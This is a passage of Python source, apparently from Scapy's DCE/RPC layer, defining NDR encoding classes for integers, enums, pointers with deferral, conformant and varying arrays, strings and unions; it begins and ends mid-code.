Field):\n    \"\"\"\n    Field similar to FieldLenField that takes size_of and adjust as arguments,\n    and take the value of a size on build.\n    \"\"\"\n\n    __slots__ = [\"size_of\", \"adjust\"]\n\n    def __init__(self, *args, **kwargs):\n        self.size_of = kwargs.pop(\"size_of\", None)\n        self.adjust = kwargs.pop(\"adjust\", lambda _, x: x)\n        super(_NDRLenField, self).__init__(*args, **kwargs)\n\n    def i2m(self, pkt, x):\n        if x is None and pkt is not None and self.size_of is not None:\n            fld, fval = pkt.getfield_and_val(self.size_of)\n            f = fld.i2len(pkt, fval)\n            x = self.adjust(pkt, f)\n        elif x is None:\n            x = 0\n        return x\n\n\nclass NDRByteField(_NDRLenField, ByteField):\n    pass\n\n\nclass NDRSignedByteField(_NDRLenField, SignedByteField):\n    pass\n\n\nclass _NDRField(_NDRLenField):\n    FMT = \"\"\n    ALIGN = (0, 0)\n\n    def getfield(self, pkt, s):\n        return NDRAlign(\n            Field(\"\", 0, fmt=_e(pkt.ndrendian) + self.FMT), align=self.ALIGN\n        ).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        return NDRAlign(\n            Field(\"\", 0, fmt=_e(pkt.ndrendian) + self.FMT), align=self.ALIGN\n        ).addfield(pkt, s, self.i2m(pkt, val))\n\n\nclass NDRShortField(_NDRField):\n    FMT = \"H\"\n    ALIGN = (2, 2)\n\n\nclass NDRSignedShortField(_NDRField):\n    FMT = \"h\"\n    ALIGN = (2, 2)\n\n\nclass NDRIntField(_NDRField):\n    FMT = \"I\"\n    ALIGN = (4, 4)\n\n\nclass NDRSignedIntField(_NDRField):\n    FMT = \"i\"\n    ALIGN = (4, 4)\n\n\nclass NDRLongField(_NDRField):\n    FMT = \"Q\"\n    ALIGN = (8, 8)\n\n\nclass NDRSignedLongField(_NDRField):\n    FMT = \"q\"\n    ALIGN = (8, 8)\n\n\nclass NDRIEEEFloatField(_NDRField):\n    FMT = \"f\"\n    ALIGN = (4, 4)\n\n\nclass NDRIEEEDoubleField(_NDRField):\n    FMT = \"d\"\n    ALIGN = (8, 8)\n\n\n# Enum types\n\n\nclass _NDREnumField(_NDRValueOf, EnumField):\n    # [MS-RPCE] sect 2.2.5.2 - Enums are 4 octets in NDR64\n    FMTS = [\"H\", \"I\"]\n\n    def getfield(self, pkt, s):\n        fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64]\n        return NDRAlign(Field(\"\", 0, fmt=fmt), align=(2, 4)).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64]\n        return NDRAlign(Field(\"\", 0, fmt=fmt), align=(2, 4)).addfield(\n            pkt, s, self.i2m(pkt, val)\n        )\n\n\nclass NDRInt3264EnumField(NDRAlign):\n    def __init__(self, *args, **kwargs):\n        super(NDRInt3264EnumField, self).__init__(\n            _NDREnumField(*args, **kwargs), align=(2, 4)\n        )\n\n\nclass NDRIntEnumField(_NDRValueOf, NDRAlign):\n    # v1_enum are always 4-octets, even in NDR32\n    def __init__(self, *args, **kwargs):\n        super(NDRIntEnumField, self).__init__(\n            LEIntEnumField(*args, **kwargs), align=(4, 4)\n        )\n\n\n# Special types\n\n\nclass NDRInt3264Field(_NDRLenField):\n    FMTS = [\"I\", \"Q\"]\n\n    def getfield(self, pkt, s):\n        fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64]\n        return NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        fmt = _e(pkt.ndrendian) + self.FMTS[pkt.ndr64]\n        return NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).addfield(\n            pkt, s, self.i2m(pkt, val)\n        )\n\n\nclass NDRSignedInt3264Field(NDRInt3264Field):\n    FMTS = [\"i\", \"q\"]\n\n\n# Pointer types\n\n\nclass NDRPointer(_NDRPacket):\n    fields_desc = [\n        MultipleTypeField(\n            [(XLELongField(\"referent_id\", 1), lambda pkt: pkt and pkt.ndr64)],\n            XLEIntField(\"referent_id\", 1),\n        ),\n        PacketField(\"value\", None, conf.raw_layer),\n    ]\n\n\nclass NDRFullPointerField(_FieldContainer):\n    \"\"\"\n    A NDR Full/Unique pointer field encapsulation.\n\n    :param EMBEDDED: This pointer is embedded. This means that it's representation\n                     will not appear after the pointer (pointer deferral applies).\n                     See [C706] 14.3.12.3 - Algorithm for Deferral of Referents\n    \"\"\"\n\n    EMBEDDED = False\n    EMBEDDED_REF = False\n\n    def __init__(self, fld, ref=False, fmt=\"I\"):\n        self.fld = fld\n        self.ref = ref\n        self.default = None\n\n    def getfield(self, pkt, s):\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        remain, referent_id = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).getfield(\n            pkt, s\n        )\n\n        # No value\n        if referent_id == 0 and not self.EMBEDDED_REF:\n            return remain, None\n\n        # With value\n        if self.EMBEDDED:\n            # deferred\n            ptr = NDRPointer(\n                ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, referent_id=referent_id\n            )\n            pkt.deferred_pointers.append((ptr, partial(self.fld.getfield, pkt)))\n            return remain, ptr\n\n        remain, val = self.fld.getfield(pkt, remain)\n        return remain, NDRPointer(\n            ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, referent_id=referent_id, value=val\n        )\n\n    def addfield(self, pkt, s, val):\n        if val is not None and not isinstance(val, NDRPointer):\n            raise ValueError(\n                \"Expected NDRPointer in %s. You are using it wrong!\" % self.name\n            )\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        fld = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8))\n\n        # No value\n        if val is None and not self.EMBEDDED_REF:\n            return fld.addfield(pkt, s, 0)\n\n        # With value\n        _set_ctx_on(val.value, pkt)\n        s = fld.addfield(pkt, s, val.referent_id)\n        if self.EMBEDDED:\n            # deferred\n            pkt.deferred_pointers.append(\n                ((lambda s: self.fld.addfield(pkt, s, val.value)), val)\n            )\n            return s\n\n        return self.fld.addfield(pkt, s, val.value)\n\n    def any2i(self, pkt, x):\n        # User-friendly helper\n        if x is not None and not isinstance(x, NDRPointer):\n            return NDRPointer(\n                referent_id=0x20000,\n                value=self.fld.any2i(pkt, x),\n            )\n        return x\n\n    # Can't use i2repr = Field.i2repr and so on on PY2 :/\n    def i2repr(self, pkt, val):\n        return repr(val)\n\n    def i2h(self, pkt, x):\n        return x\n\n    def h2i(self, pkt, x):\n        return x\n\n    def i2len(self, pkt, x):\n        if x is None:\n            return 0\n        return self.fld.i2len(pkt, x.value)\n\n    def valueof(self, pkt, x):\n        if x is None:\n            return x\n        return self.fld.valueof(pkt, x.value)\n\n\nclass NDRFullEmbPointerField(NDRFullPointerField):\n    \"\"\"\n    A NDR Embedded Full pointer.\n\n    Same as NDRFullPointerField with EMBEDDED = True.\n    \"\"\"\n\n    EMBEDDED = True\n\n\nclass NDRRefEmbPointerField(NDRFullPointerField):\n    \"\"\"\n    A NDR Embedded Reference pointer.\n\n    Same as NDRFullPointerField with EMBEDDED = True and EMBEDDED_REF = True.\n    \"\"\"\n\n    EMBEDDED = True\n    EMBEDDED_REF = True\n\n\n# Constructed types\n\n\n# Note: this is utterly complex and will drive you crazy\n\n# If you have a NDRPacket that contains a deferred pointer on the top level\n# (only happens in non DCE/RPC structures, such as in MS-PAC, where you have an NDR\n# structure encapsulated in a non-NDR structure), there will be left-over deferred\n# pointers when exiting dissection/build (deferred pointers are only computed when\n# reaching a field that extends NDRConstructedType, which is normal: if you follow\n# the DCE/RPC spec, pointers are never deferred in root structures)\n# Therefore there is a special case forcing the build/dissection of any leftover\n# pointers in NDRPacket, if Scapy detects that they won't be handled by any parent.\n\n# Implementation notes: I chose to set 'handles_deferred' inside the FIELD, rather\n# than inside the PACKET. This is faster to compute because whether a constructed type\n# should handle deferral or not is computed only once when loading, therefore Scapy\n# knows in advance whether to handle deferred pointers or not. But it is technically\n# incorrect: with this approach, a structure (packet) cannot be used in 2 code paths\n# that have different pointer managements. I mean by that that if there was a\n# structure that was directly embedded in a RPC request without a pointer but also\n# embedded with a pointer in another RPC request, it would break.\n# Fortunately this isn't the case: structures are never reused for 2 purposes.\n# (or at least I never seen that... <i hope this works>)\n\n\nclass NDRConstructedType(object):\n    def __init__(self, fields):\n        self.handles_deferred = False\n        self.ndr_fields = fields\n        self.rec_check_deferral()\n\n    def rec_check_deferral(self):\n        # We iterate through the fields within this constructed type.\n        # If we have a pointer, mark this field as handling deferrance\n        # and make all sub-constructed types not.\n        for f in self.ndr_fields:\n            if isinstance(f, NDRFullPointerField) and f.EMBEDDED:\n                self.handles_deferred = True\n            if isinstance(f, NDRConstructedType):\n                f.rec_check_deferral()\n                if f.handles_deferred:\n                    self.handles_deferred = True\n                    f.handles_deferred = False\n\n    def getfield(self, pkt, s):\n        s, fval = super(NDRConstructedType, self).getfield(pkt, s)\n        if isinstance(fval, _NDRPacket):\n            # If a sub-packet we just dissected has deferred pointers,\n            # pass it to parent packet to propagate.\n            pkt.deferred_pointers.extend(fval.deferred_pointers)\n            del fval.deferred_pointers[:]\n        if self.handles_deferred:\n            # This field handles deferral !\n            s = self.read_deferred_pointers(pkt, s)\n        return s, fval\n\n    def read_deferred_pointers(self, pkt, s):\n        # Now read content of the pointers that were deferred\n        q = collections.deque()\n        q.extend(pkt.deferred_pointers)\n        del pkt.deferred_pointers[:]\n        while q:\n            # Recursively resolve pointers that were deferred\n            ptr, getfld = q.popleft()\n            s, val = getfld(s)\n            ptr.value = val\n            if isinstance(val, _NDRPacket):\n                # Pointer resolves to a packet.. that may have deferred pointers?\n                q.extend(val.deferred_pointers)\n                del val.deferred_pointers[:]\n        return s\n\n    def addfield(self, pkt, s, val):\n        try:\n            s = super(NDRConstructedType, self).addfield(pkt, s, val)\n        except Exception as ex:\n            try:\n                ex.args = (\n                    \"While building field '%s': \" % self.name + ex.args[0],\n                ) + ex.args[1:]\n            except (AttributeError, IndexError):\n                pass\n            raise ex\n        if isinstance(val, _NDRPacket):\n            # If a sub-packet we just dissected has deferred pointers,\n            # pass it to parent packet to propagate.\n            pkt.deferred_pointers.extend(val.deferred_pointers)\n            del val.deferred_pointers[:]\n        if self.handles_deferred:\n            # This field handles deferral !\n            s = self.add_deferred_pointers(pkt, s)\n        return s\n\n    def add_deferred_pointers(self, pkt, s):\n        # Now add content of pointers that were deferred\n        q = collections.deque()\n        q.extend(pkt.deferred_pointers)\n        del pkt.deferred_pointers[:]\n        while q:\n            addfld, fval = q.popleft()\n            s = addfld(s)\n            if isinstance(fval, NDRPointer) and isinstance(fval.value, _NDRPacket):\n                q.extend(fval.value.deferred_pointers)\n                del fval.value.deferred_pointers[:]\n        return s\n\n\nclass _NDRPacketField(_NDRValueOf, PacketField):\n    def m2i(self, pkt, m):\n        return self.cls(m, ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, _parent=pkt)\n\n\nclass _NDRPacketPadField(PadField):\n    # [MS-RPCE] 2.2.5.3.4.1 Structure with Trailing Gap\n    # Structures have extra alignment/padding in NDR64.\n    def padlen(self, flen, pkt):\n        if pkt.ndr64:\n            return -flen % self._align[1]\n        else:\n            return 0\n\n\nclass NDRPacketField(NDRConstructedType, NDRAlign):\n    def __init__(self, name, default, pkt_cls, **kwargs):\n        self.DEPORTED_CONFORMANTS = pkt_cls.DEPORTED_CONFORMANTS\n        self.fld = _NDRPacketField(name, default, pkt_cls=pkt_cls, **kwargs)\n\n        # The inner _NDRPacketPadField handles NDR64's trailing gap in\n        # the case where there a no inner conformants (see [MS-RPCE] 2.2.5.3.4.1)\n        if self.DEPORTED_CONFORMANTS:\n            innerfld = self.fld\n        else:\n            innerfld = _NDRPacketPadField(self.fld, align=pkt_cls.ALIGNMENT)\n\n        # C706 14.3.2 Alignment of Constructed Types is handled by the\n        # NDRAlign below.\n        NDRAlign.__init__(\n            self,\n            innerfld,\n            align=pkt_cls.ALIGNMENT,\n        )\n        NDRConstructedType.__init__(self, pkt_cls.fields_desc)\n\n    def getfield(self, pkt, x):\n        # Handle deformed conformants max_count here\n        if self.DEPORTED_CONFORMANTS:\n            # C706 14.3.2: \"In other words, the size information precedes the\n            # structure and is aligned independently of the structure alignment.\"\n            fld = NDRInt3264Field(\"\", 0)\n            max_counts = []\n            for _ in self.DEPORTED_CONFORMANTS:\n                x, max_count = fld.getfield(pkt, x)\n                max_counts.append(max_count)\n            res, val = super(NDRPacketField, self).getfield(pkt, x)\n            if len(max_counts) == 1:\n                val.max_count = max_counts[0]\n            else:\n                val.max_counts = max_counts\n            return res, val\n        return super(NDRPacketField, self).getfield(pkt, x)\n\n    def addfield(self, pkt, s, x):\n        # Handle deformed conformants max_count here\n        if self.DEPORTED_CONFORMANTS:\n            mcfld = NDRInt3264Field(\"\", 0)\n            if len(self.DEPORTED_CONFORMANTS) == 1:\n                max_counts = [x.max_count]\n            else:\n                max_counts = x.max_counts\n            for fldname, max_count in zip(self.DEPORTED_CONFORMANTS, max_counts):\n                if max_count is None:\n                    fld, val = x.getfield_and_val(fldname)\n                    max_count = fld.i2len(x, val)\n                s = mcfld.addfield(pkt, s, max_count)\n            return super(NDRPacketField, self).addfield(pkt, s, x)\n        return super(NDRPacketField, self).addfield(pkt, s, x)\n\n\n# Array types\n\n\nclass _NDRPacketListField(NDRConstructedType, PacketListField):\n    \"\"\"\n    A PacketListField for NDR that can optionally pack the packets into NDRPointers\n    \"\"\"\n\n    islist = 1\n    holds_packets = 1\n\n    __slots__ = [\"ptr_lvl\", \"fld\"]\n\n    def __init__(self, name, default, pkt_cls, **kwargs):\n        self.ptr_lvl = kwargs.pop(\"ptr_lvl\", False)\n        if self.ptr_lvl:\n            # TODO: support more than 1 level ?\n            self.fld = NDRFullEmbPointerField(NDRPacketField(\"\", None, pkt_cls))\n        else:\n            self.fld = NDRPacketField(\"\", None, pkt_cls)\n        PacketListField.__init__(self, name, default, pkt_cls=pkt_cls, **kwargs)\n        NDRConstructedType.__init__(self, [self.fld])\n\n    def m2i(self, pkt, s):\n        remain, val = self.fld.getfield(pkt, s)\n        if val is None:\n            val = NDRNone()\n        # A mistake here would be to use / instead of add_payload. It adds a copy\n        # which breaks pointer defferal. Same applies elsewhere\n        val.add_payload(conf.padding_layer(remain))\n        return val\n\n    def any2i(self, pkt, x):\n        # User-friendly helper\n        if isinstance(x, list):\n            x = [self.fld.any2i(pkt, y) for y in x]\n        return super(_NDRPacketListField, self).any2i(pkt, x)\n\n    def i2m(self, pkt, val):\n        return self.fld.addfield(pkt, b\"\", val)\n\n    def i2len(self, pkt, x):\n        return len(x)\n\n    def valueof(self, pkt, x):\n        return [\n            self.fld.valueof(pkt, y if not isinstance(y, NDRNone) else None) for y in x\n        ]\n\n\nclass NDRFieldListField(NDRConstructedType, FieldListField):\n    \"\"\"\n    A FieldListField for NDR\n    \"\"\"\n\n    islist = 1\n\n    def __init__(self, *args, **kwargs):\n        if \"length_is\" in kwargs:\n            kwargs[\"count_from\"] = kwargs.pop(\"length_is\")\n        elif \"size_is\" in kwargs:\n            kwargs[\"count_from\"] = kwargs.pop(\"size_is\")\n        FieldListField.__init__(self, *args, **kwargs)\n        NDRConstructedType.__init__(self, [self.field])\n\n    def i2len(self, pkt, x):\n        return len(x)\n\n    def valueof(self, pkt, x):\n        return [self.field.valueof(pkt, y) for y in x]\n\n\nclass NDRVaryingArray(_NDRPacket):\n    fields_desc = [\n        MultipleTypeField(\n            [(LELongField(\"offset\", 0), lambda pkt: pkt and pkt.ndr64)],\n            LEIntField(\"offset\", 0),\n        ),\n        MultipleTypeField(\n            [\n                (\n                    LELongField(\"actual_count\", None),\n                    lambda pkt: pkt and pkt.ndr64,\n                )\n            ],\n            LEIntField(\"actual_count\", None),\n        ),\n        PacketField(\"value\", None, conf.raw_layer),\n    ]\n\n\nclass _NDRVarField:\n    \"\"\"\n    NDR Varying Array / String field\n    \"\"\"\n\n    LENGTH_FROM = False\n    COUNT_FROM = False\n\n    def __init__(self, *args, **kwargs):\n        # We build the length_is function by taking into account both the\n        # actual_count (from the varying field) and a potentially provided\n        # length_is field.\n        if \"length_is\" in kwargs:\n            _length_is = kwargs.pop(\"length_is\")\n            length_is = lambda pkt: (_length_is(pkt.underlayer) or pkt.actual_count)\n        else:\n            length_is = lambda pkt: pkt.actual_count\n        # Pass it to the sub-field (actually subclass)\n        if self.LENGTH_FROM:\n            kwargs[\"length_from\"] = length_is\n        elif self.COUNT_FROM:\n            kwargs[\"count_from\"] = length_is\n        # TODO: For now, we do nothing with max_is\n        if \"max_is\" in kwargs:\n            kwargs.pop(\"max_is\")\n        super(_NDRVarField, self).__init__(*args, **kwargs)\n\n    def getfield(self, pkt, s):\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        remain, offset = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).getfield(pkt, s)\n        remain, actual_count = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).getfield(\n            pkt, remain\n        )\n        final = NDRVaryingArray(\n            ndr64=pkt.ndr64,\n            ndrendian=pkt.ndrendian,\n            offset=offset,\n            actual_count=actual_count,\n            _underlayer=pkt,\n        )\n        remain, val = super(_NDRVarField, self).getfield(final, remain)\n        final.value = super(_NDRVarField, self).i2h(pkt, val)\n        return remain, final\n\n    def addfield(self, pkt, s, val):\n        if not isinstance(val, NDRVaryingArray):\n            raise ValueError(\n                \"Expected NDRVaryingArray in %s. You are using it wrong!\" % self.name\n            )\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        _set_ctx_on(val.value, pkt)\n        s = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).addfield(pkt, s, val.offset)\n        s = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).addfield(\n            pkt,\n            s,\n            val.actual_count is None\n            and super(_NDRVarField, self).i2len(pkt, val.value)\n            or val.actual_count,\n        )\n        return super(_NDRVarField, self).addfield(\n            pkt, s, super(_NDRVarField, self).h2i(pkt, val.value)\n        )\n\n    def i2len(self, pkt, x):\n        return super(_NDRVarField, self).i2len(pkt, x.value)\n\n    def any2i(self, pkt, x):\n        # User-friendly helper\n        if not isinstance(x, NDRVaryingArray):\n            return NDRVaryingArray(\n                value=super(_NDRVarField, self).any2i(pkt, x),\n            )\n        return x\n\n    # Can't use i2repr = Field.i2repr and so on on PY2 :/\n    def i2repr(self, pkt, val):\n        return repr(val)\n\n    def i2h(self, pkt, x):\n        return x\n\n    def h2i(self, pkt, x):\n        return x\n\n    def valueof(self, pkt, x):\n        return super(_NDRVarField, self).valueof(pkt, x.value)\n\n\nclass NDRConformantArray(_NDRPacket):\n    fields_desc = [\n        MultipleTypeField(\n            [(LELongField(\"max_count\", None), lambda pkt: pkt and pkt.ndr64)],\n            LEIntField(\"max_count\", None),\n        ),\n        MultipleTypeField(\n            [\n                (\n                    PacketListField(\n                        \"value\",\n                        [],\n                        conf.raw_layer,\n                        count_from=lambda pkt: pkt.max_count,\n                    ),\n                    (\n                        lambda pkt: pkt.fields.get(\"value\", None)\n                        and isinstance(pkt.fields[\"value\"][0], Packet),\n                        lambda _, val: val and isinstance(val[0], Packet),\n                    ),\n                )\n            ],\n            FieldListField(\n                \"value\", [], LEIntField(\"\", 0), count_from=lambda pkt: pkt.max_count\n            ),\n        ),\n    ]\n\n\nclass NDRConformantString(_NDRPacket):\n    fields_desc = [\n        MultipleTypeField(\n            [(LELongField(\"max_count\", None), lambda pkt: pkt and pkt.ndr64)],\n            LEIntField(\"max_count\", None),\n        ),\n        StrField(\"value\", \"\"),\n    ]\n\n\nclass _NDRConfField:\n    \"\"\"\n    NDR Conformant Array / String field\n    \"\"\"\n\n    CONFORMANT_STRING = False\n    LENGTH_FROM = False\n    COUNT_FROM = False\n\n    def __init__(self, *args, **kwargs):\n        # when conformant_in_struct is True, we remove the level of abstraction\n        # provided by NDRConformantString / NDRConformantArray because max_count\n        # is a proper field in the parent packet.\n        self.conformant_in_struct = kwargs.pop(\"conformant_in_struct\", False)\n        # size_is/max_is end up here, and is what defines a conformant field.\n        if \"size_is\" in kwargs:\n            size_is = kwargs.pop(\"size_is\")\n            if self.LENGTH_FROM:\n                kwargs[\"length_from\"] = size_is\n            elif self.COUNT_FROM:\n                kwargs[\"count_from\"] = size_is\n        # TODO: For now, we do nothing with max_is\n        if \"max_is\" in kwargs:\n            kwargs.pop(\"max_is\")\n        super(_NDRConfField, self).__init__(*args, **kwargs)\n\n    def getfield(self, pkt, s):\n        # [C706] - 14.3.7 Structures Containing Arrays\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        if self.conformant_in_struct:\n            # [MS-RPCE] 2.2.5.3.4.2 Structure Containing a Conformant Array\n            # Padding is here: just before the Conformant content\n            return NDRAlign(\n                super(_NDRConfField, self),\n                align=pkt.ALIGNMENT,\n            ).getfield(pkt, s)\n\n        # The max count is aligned as a primitive type\n        remain, max_count = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).getfield(\n            pkt, s\n        )\n        remain, val = super(_NDRConfField, self).getfield(pkt, remain)\n        return remain, (\n            NDRConformantString if self.CONFORMANT_STRING else NDRConformantArray\n        )(ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, max_count=max_count, value=val)\n\n    def addfield(self, pkt, s, val):\n        if self.conformant_in_struct:\n            # [MS-RPCE] 2.2.5.3.4.2 Structure Containing a Conformant Array\n            # Padding is here: just before the Conformant content\n            return NDRAlign(super(_NDRConfField, self), align=pkt.ALIGNMENT).addfield(\n                pkt, s, val\n            )\n\n        if self.CONFORMANT_STRING and not isinstance(val, NDRConformantString):\n            raise ValueError(\n                \"Expected NDRConformantString in %s. You are using it wrong!\"\n                % self.name\n            )\n        elif not self.CONFORMANT_STRING and not isinstance(val, NDRConformantArray):\n            raise ValueError(\n                \"Expected NDRConformantArray in %s. You are using it wrong!\" % self.name\n            )\n        fmt = _e(pkt.ndrendian) + [\"I\", \"Q\"][pkt.ndr64]\n        _set_ctx_on(val.value, pkt)\n        if val.value and isinstance(val.value[0], NDRVaryingArray):\n            value = val.value[0]\n        else:\n            value = val.value\n        s = NDRAlign(Field(\"\", 0, fmt=fmt), align=(4, 8)).addfield(\n            pkt,\n            s,\n            val.max_count is None\n            and super(_NDRConfField, self).i2len(pkt, value)\n            or val.max_count,\n        )\n        return super(_NDRConfField, self).addfield(pkt, s, value)\n\n    def _subval(self, x):\n        if self.conformant_in_struct:\n            value = x\n        elif (\n            not self.CONFORMANT_STRING\n            and x.value\n            and isinstance(x.value[0], NDRVaryingArray)\n        ):\n            value = x.value[0]\n        else:\n            value = x.value\n        return value\n\n    def i2len(self, pkt, x):\n        return super(_NDRConfField, self).i2len(pkt, self._subval(x))\n\n    def any2i(self, pkt, x):\n        # User-friendly helper\n        if self.conformant_in_struct:\n            return super(_NDRConfField, self).any2i(pkt, x)\n        if self.CONFORMANT_STRING and not isinstance(x, NDRConformantString):\n            return NDRConformantString(\n                value=super(_NDRConfField, self).any2i(pkt, x),\n            )\n        elif not isinstance(x, NDRConformantArray):\n            return NDRConformantArray(\n                value=super(_NDRConfField, self).any2i(pkt, x),\n            )\n        return x\n\n    # Can't use i2repr = Field.i2repr and so on on PY2 :/\n    def i2repr(self, pkt, val):\n        return repr(val)\n\n    def i2h(self, pkt, x):\n        return x\n\n    def h2i(self, pkt, x):\n        return x\n\n    def valueof(self, pkt, x):\n        return super(_NDRConfField, self).valueof(pkt, self._subval(x))\n\n\nclass NDRVarPacketListField(_NDRVarField, _NDRPacketListField):\n    \"\"\"\n    NDR Varying PacketListField. Unused\n    \"\"\"\n\n    COUNT_FROM = True\n\n\nclass NDRConfPacketListField(_NDRConfField, _NDRPacketListField):\n    \"\"\"\n    NDR Conformant PacketListField\n    \"\"\"\n\n    COUNT_FROM = True\n\n\nclass NDRConfVarPacketListField(_NDRConfField, _NDRVarField, _NDRPacketListField):\n    \"\"\"\n    NDR Conformant Varying PacketListField\n    \"\"\"\n\n    COUNT_FROM = True\n\n\nclass NDRConfFieldListField(_NDRConfField, NDRFieldListField):\n    \"\"\"\n    NDR Conformant FieldListField\n    \"\"\"\n\n    COUNT_FROM = True\n\n\nclass NDRConfVarFieldListField(_NDRConfField, _NDRVarField, NDRFieldListField):\n    \"\"\"\n    NDR Conformant Varying FieldListField\n    \"\"\"\n\n    COUNT_FROM = True\n\n\n# NDR String fields\n\n\nclass _NDRUtf16(Field):\n    def h2i(self, pkt, x):\n        encoding = {\"big\": \"utf-16be\", \"little\": \"utf-16le\"}[pkt.ndrendian]\n        return plain_str(x).encode(encoding)\n\n    def i2h(self, pkt, x):\n        encoding = {\"big\": \"utf-16be\", \"little\": \"utf-16le\"}[pkt.ndrendian]\n        return bytes_encode(x).decode(encoding, errors=\"replace\")\n\n\nclass NDRConfStrLenField(_NDRConfField, _NDRValueOf, StrLenField):\n    \"\"\"\n    NDR Conformant StrLenField.\n\n    This is not a \"string\" per NDR, but an a conformant byte array\n    (e.g. tower_octet_string). For ease of use, we implicitly convert\n    it in specific cases.\n    \"\"\"\n\n    CONFORMANT_STRING = True\n    LENGTH_FROM = True\n\n\nclass NDRConfStrLenFieldUtf16(_NDRConfField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16):\n    \"\"\"\n    NDR Conformant StrLenFieldUtf16.\n\n    See NDRConfStrLenField for comment.\n    \"\"\"\n\n    CONFORMANT_STRING = True\n    ON_WIRE_SIZE_UTF16 = False\n    LENGTH_FROM = True\n\n\nclass NDRVarStrNullField(_NDRVarField, _NDRValueOf, StrNullField):\n    \"\"\"\n    NDR Varying StrNullField\n    \"\"\"\n\n    NULLFIELD = True\n\n\nclass NDRVarStrNullFieldUtf16(_NDRVarField, _NDRValueOf, StrNullFieldUtf16, _NDRUtf16):\n    \"\"\"\n    NDR Varying StrNullFieldUtf16\n    \"\"\"\n\n    NULLFIELD = True\n\n\nclass NDRVarStrLenField(_NDRVarField, StrLenField):\n    \"\"\"\n    NDR Varying StrLenField\n    \"\"\"\n\n    LENGTH_FROM = True\n\n\nclass NDRVarStrLenFieldUtf16(_NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16):\n    \"\"\"\n    NDR Varying StrLenFieldUtf16\n    \"\"\"\n\n    ON_WIRE_SIZE_UTF16 = False\n    LENGTH_FROM = True\n\n\nclass NDRConfVarStrLenField(_NDRConfField, _NDRVarField, _NDRValueOf, StrLenField):\n    \"\"\"\n    NDR Conformant Varying StrLenField\n    \"\"\"\n\n    LENGTH_FROM = True\n\n\nclass NDRConfVarStrLenFieldUtf16(\n    _NDRConfField, _NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16\n):\n    \"\"\"\n    NDR Conformant Varying StrLenFieldUtf16\n    \"\"\"\n\n    ON_WIRE_SIZE_UTF16 = False\n    LENGTH_FROM = True\n\n\nclass NDRConfVarStrNullField(_NDRConfField, _NDRVarField, _NDRValueOf, StrNullField):\n    \"\"\"\n    NDR Conformant Varying StrNullField\n    \"\"\"\n\n    NULLFIELD = True\n\n\nclass NDRConfVarStrNullFieldUtf16(\n    _NDRConfField, _NDRVarField, _NDRValueOf, StrNullFieldUtf16, _NDRUtf16\n):\n    \"\"\"\n    NDR Conformant Varying StrNullFieldUtf16\n    \"\"\"\n\n    ON_WIRE_SIZE_UTF16 = False\n    NULLFIELD = True\n\n\n# Union type\n\n\nclass NDRUnion(_NDRPacket):\n    fields_desc = [\n        IntField(\"tag\", 0),\n        PacketField(\"value\", None, conf.raw_layer),\n    ]\n\n\nclass _NDRUnionField(MultipleTypeField):\n    __slots__ = [\"switch_fmt\", \"align\"]\n\n    def __init__(self, flds, dflt, align, switch_fmt):\n        self.switch_fmt = switch_fmt\n        self.align = align\n        super(_NDRUnionField, self).__init__(flds, dflt)\n\n    def getfield(self, pkt, s):\n        fmt = _e(pkt.ndrendian) + self.switch_fmt[pkt.ndr64]\n        remain, tag = NDRAlign(Field(\"\", 0, fmt=fmt), align=self.align).getfield(pkt, s)\n        fld, _ = super(_NDRUnionField, self)._find_fld_pkt_val(pkt, NDRUnion(tag=tag))\n        remain, val = fld.getfield(pkt, remain)\n        return remain, NDRUnion(\n            tag=tag, value=val, ndr64=pkt.ndr64, ndrendian=pkt.ndrendian, _parent=pkt\n        )\n\n    def addfield(self, pkt, s, val):\n        fmt = _e(pkt.ndrendian) + self.switch_fmt[pkt.ndr64]\n        if not isinstance(val, NDRUnion):\n            raise ValueError(\n                \"Expected NDRUnion in %s. You are using it wrong!\" % self.name\n            )\n        _set_ctx_on(val.value, pkt)\n        # First, align the whole tag+union against the align param\n        s = NDRAlign(Field(\"\", 0, fmt=fmt), align=self.align).addfield(pkt, s, val.tag)\n        # Then, compute the subfield with its own alignment\n        return super(_NDRUnionField, self).addfield(pkt, s, val)\n\n    def _find_fld_pkt_val(self, pkt, val):\n        fld, val = super(_NDRUnionField, self)._find_fld_pkt_val(pkt, val)\n        return fld, val.value\n\n    # Can't use i2repr = Field.i2repr and so on on PY2 :/\n    def i2repr(self, pkt, val):\n        return repr(val)\n\n    def i2h(self, pkt, x):\n        return x\n\n    def h2i(self, pkt, x):\n        return x\n\n    def valueof(self, pkt, x):\n        fld, val = self._find_fld_pkt_val(pkt, x)\n        return fld.valueof(pkt, x.value)\n\n\nclass NDRUnionField(NDRConstructedType, _NDRUnionField):\n    def __init__(self, flds, dflt, align, switch_fmt):\n        _NDRUnionField.__init__(self, flds, dflt, align=align, switch_fmt=switch_fmt)\n        NDRConstructedType.__init__(self, [x[0] for x in flds] + [dflt])\n\n    def 